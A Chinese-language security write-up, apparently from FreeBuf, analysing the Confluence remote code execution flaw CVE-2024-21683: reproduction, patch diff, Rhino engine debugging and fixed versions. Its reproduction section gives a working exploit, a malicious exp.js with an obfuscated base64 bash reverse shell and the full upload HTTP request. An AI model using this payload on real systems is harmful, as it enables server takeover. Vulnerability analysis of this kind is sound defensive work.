Atlassian Confluence 远程代码执行漏洞(CVE-2024-21683)深入分析
2024-5-29 17:20:56 Author: www.freebuf.com(查看原文) 阅读量:3 收藏

基础信息

漏洞简介

Atlassian Confluence是由Atlassian开发的企业级的内容协作工具,为团队成员创建、分享和合作文档提供了一个中央枢纽,让团队可以在一个共享工作区创建、分享和合作文档。这个工具可以集成到Atlassian的其他产品中,包括Jira,Trello,Stride等。
2024年5月23日Atlassian发布安全公告,修复了Confluence Data Center and Server中的远程代码执行漏洞(CVE-2024-21683),该漏洞是经过身份验证的攻击者可通过构造恶意请求实现远程代码执行,请相关用户尽快采取措施进行防护。漏洞评分:CVSS 评分8.3。
参考网站:https://jira.atlassian.com/browse/CONFSERVER-95832
https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.9.0.zip
https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.9.1.zip

漏洞影响范围

image.png

环境搭建

简单说一下环境搭建,详细步骤请参考https://www.freebuf.com/vuls/392545.html前一段时间写的文章中的环境搭建以及如何通过docker环境添加debug模式使用IDEA远程调试漏洞。

漏洞复现
1、访问Admin页面并登录后台。在配置代码宏中-->添加新语言。
image.png
2、准配好要上传的代码文件exp.js,在上传页面中添加exp.js并添加。内容为下面的代码:

new java.lang.ProcessBuilder["(java.lang.String[])"](["bash", "-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjcuMTY3LjEwMy84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"]).start(); ##反弹sellPOC
java.lang.Runtime.getRuntime().exec("touch /tmp/test527"); ##Runtime创建文件
new java.lang.ProcessBuilder["(java.lang.String[])"](["touch", "/tmp/CVE-2024-21683"]).start(); ##创建文件POC

3、使用Burp抓取流量如下:

POST /admin/plugins/newcode/addlanguage.action HTTP/1.1
Host: 172.27.167.103:8090
Content-Length: 607
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.27.167.103:8090
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoLzFyALQZ4BtxFF5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.27.167.103:8090/admin/plugins/newcode/addlanguage.action
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=2227AE42888FCE05CBAE29BB87F99163
Connection: close

------WebKitFormBoundaryoLzFyALQZ4BtxFF5
Content-Disposition: form-data; name="atl_token"

5f3858f23482a684c830413b21f7560bed86fdf8
------WebKitFormBoundaryoLzFyALQZ4BtxFF5
Content-Disposition: form-data; name="languageFile"; filename="exp.js"
Content-Type: text/javascript

new java.lang.ProcessBuilder["(java.lang.String[])"](["bash", "-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjcuMTY3LjEwMy84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"]).start();
------WebKitFormBoundaryoLzFyALQZ4BtxFF5
Content-Disposition: form-data; name="newLanguageName"

sadgasg
------WebKitFormBoundaryoLzFyALQZ4BtxFF5--

4、服务端监听端口后发送POC发现已经反弹Shell成功。
image.png

漏洞分析

补丁对比分析

从官方公布的漏洞链接中可以看到漏洞的存在位置在**../admin/plugins/newcode/addlanguage.action**位置。
image.png
newcode插件在com.atlassian.confluence.ext.newcode-macro-plugin-xxx.jar,这里直接对比8.9.0和8.9.1的差异,可以看到由cx.initStandardObjects()变成化成cx.initSafeStandardObjects((ScriptableObject)null, true);安全模式模式加载修复点就在这里。
image.png

initSafeStandardObjects()函数

创建标准对象及其构造函数(Object、String、Number、Date等)的实例但是不会加载Packages、JavaAdapter和JavaImporte类以及getClass函数的初始化操作,使用该函数的结果是一个可以在“沙箱”环境中安全使用的范围,结果就是禁止从JavaScript访问Java代码
image.png

initStandardObjects()函数
initStandardObjects函数第300行,调用initSafeStandardObjects函数,此外还加载Packages、JavaAdapter和JavaImporte类以及getClass函数的初始化操作,将常见的顶部包放到了"java", "javax", "org", "com", "edu", "net",通过LazilyLoadedCtor类调用这些参数,允许从JS中调用JAVA对象
image.png
在LazilyLoadedCtor类初始化的时候会调用addLazilyInitializedValue方法,将对应可以访问顶部包放到slotMap中。
image.png
后续会在js执行的时候解析JAVA对象的时候,会判断包是否存在slotMap中,如果不存在就会返回NOT_FOUND,并抛出异常。
image.png

漏洞调试分析

rhino简单介绍

Rhino是一个运行在JVM上的JavaScript引擎,可以无缝使用Java丰富的核心库和第三方库,也就是说可以访问各种各种 Java 类库。
JS中调用JAVA类

public class Main {
    public static void main(String[] args) {
        Context cx = Context.enter(); //Context对象中储存了脚本执行的全局环境信息.
        try
        {
            Scriptable scope = cx.initStandardObjects(); //初始化标准对象
            String str = "java.lang.System.out.println('你好Yes!');";
            Object result = cx.evaluateString(scope, str, null, 1, null);//执行 JavaScript 脚本
        }
        finally
        {
            Context.exit();
        }
    }
}

执行之后可以看到控制台打印的你好Yes!字样。
image.png
可以看到通过执行js脚本可以直接调用JAVA对象,如果我们将执行的JAVA语句替换成可以执行命令的JAVA代码如:java.lang.Runtime.getRuntime().exec('calc.exe');效果不言而喻,已经成功执行命令并弹出计算器。
image.png

Confluence中rhino
我们上传文件后com.atlassian.confluence.ext.code.config.ConfigureNewcodeAction#addLanguage()函数。该函数首先将上传js文件存储为/opt/atlassian/confluence/work/Standalone/localhost/ROOT/upload_xxx.tmp文件,并在151行调用languageInstaller.installLanguage函数。可以看到这里调用this.newLanguageName就是我们上传文件中newLanguageName的值,reader则是读取到文件内容。
image.png
跟进installLanguage函数,从reader中将文件内容还原成string也就是我们输入的文件内容,并调用this.languageParser.parseRegisteredLanguage()函数进一步解析。可以看到这里languageParser就是RhinoLanguageParser类。
image.png
RhinoLanguageParser.parseRegisteredLanguage()函数就会调用RhinoLanguageParser.**parseLanguage()**函数。
image.png
跟进函数,我们可以确定com.atlassian.confluence.ext.newcode-macro-plugin-xxx.jar,插件中存在rhino组件,通过补丁对比发现com.atlassian.confluence.ext.code.languages.impl.RhinoLanguageParser#parseLanguage()函数中存在差异。这个函数中第57-64行是不是和我们上面可以使用js执行JAVA代码的写法类似。这里的scriptString是可控变量就是我们上传时输入的js中的内容,我们插入恶意的JAVA代码就会顺利执行。
image.png

js执行JAVA代码

调用链出来就比较好理解了,调用链如下:

exec:313, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:566, Method (java.lang.reflect)
invoke:206, MemberBox (org.mozilla.javascript)
call:211, NativeJavaMethod (org.mozilla.javascript)
call1:35, OptRuntime (org.mozilla.javascript.optimizer)
_c_script_0:1, unnamed_script_1 (org.mozilla.javascript.gen)
call:-1, unnamed_script_1 (org.mozilla.javascript.gen)
doTopCall:380, ContextFactory (org.mozilla.javascript)
doTopCall:3868, ScriptRuntime (org.mozilla.javascript)
call:-1, unnamed_script_1 (org.mozilla.javascript.gen)
exec:-1, unnamed_script_1 (org.mozilla.javascript.gen)
evaluateString:1137, Context (org.mozilla.javascript)

通过evaluateString函数执行之后会调用org.mozilla.javascript.gen#unnamed_script_1()函数,由于org.mozilla.javascript.gen包是闭包的,通过调用链可以看到unnamed_script_1函数之后会调用org.mozilla.javascript.ContextFactory#doTopCall()函数,之后继续进入org.mozilla.javascript.gen#unnamed_script_1()函数调用,最后进入到org.mozilla.javascript.optimizer.OptRuntime#call1()函数。fun是解析到所有Runtime.exec()所有参数的函数,thisObj是Runtime对象,参数是我们写入"calc.exe",这里可以分析得出通过org.mozilla.javascript.gen#unnamed_script_1()会将js中JAVA对象解析。
image.png
org.mozilla.javascript.NativeJavaMethod#call()函数第211行,meth.invoke(javaObject, args)反射调用执行,这里javaObject是Runtime对象,meth则是public java.lang.Process java.lang.Runtime.exec(java.lang.String) throws java.io.IOException,参数是calc.exe
image.png
org.mozilla.javascript.invoke()函数第206行调用Method.invoke完成对exec方法的反射调用,后面的调用链不做深入分析,感兴趣的同学自行研发反射调用这个块的知识。
image.png

漏洞修复

目前官方已发布安全更新,受影响用户可以更新到最新版本:
Confluence Data Center:
Confluence Data Center >= 8.9.1
Confluence Data Center >= 8.5.9 LTS recommended
Confluence Data Center >= 7.19.22 LTS
Confluence Server:
Confluence Server >= 8.5.9 LTS recommended
Confluence Server >= 7.19.22 LTS
您可以从下载中心下载最新版本的 Confluence Data Center 和 Confluence Server:
https://www.atlassian.com/software/confluence/download-archives

总结

rhino这种天然的设计在框架中增加JS对JAVA代码的调用,Confuluence在使用该模块的时候也没有考虑安全模式加载,导致可以通过JS直接调用JAVA代码造成RCE漏洞的发生。这种问题在实际的项目中应该是比较的常见的,很多的项目开发注重功能是实现而忽略了安全相关的问题,感兴趣的同学可以在github上搜索一些利用rhino模块的项目,说不定运气好可以捡漏新的CVE。


文章来源: https://www.freebuf.com/vuls/402197.html
如有侵权请联系:admin#unsafe.sh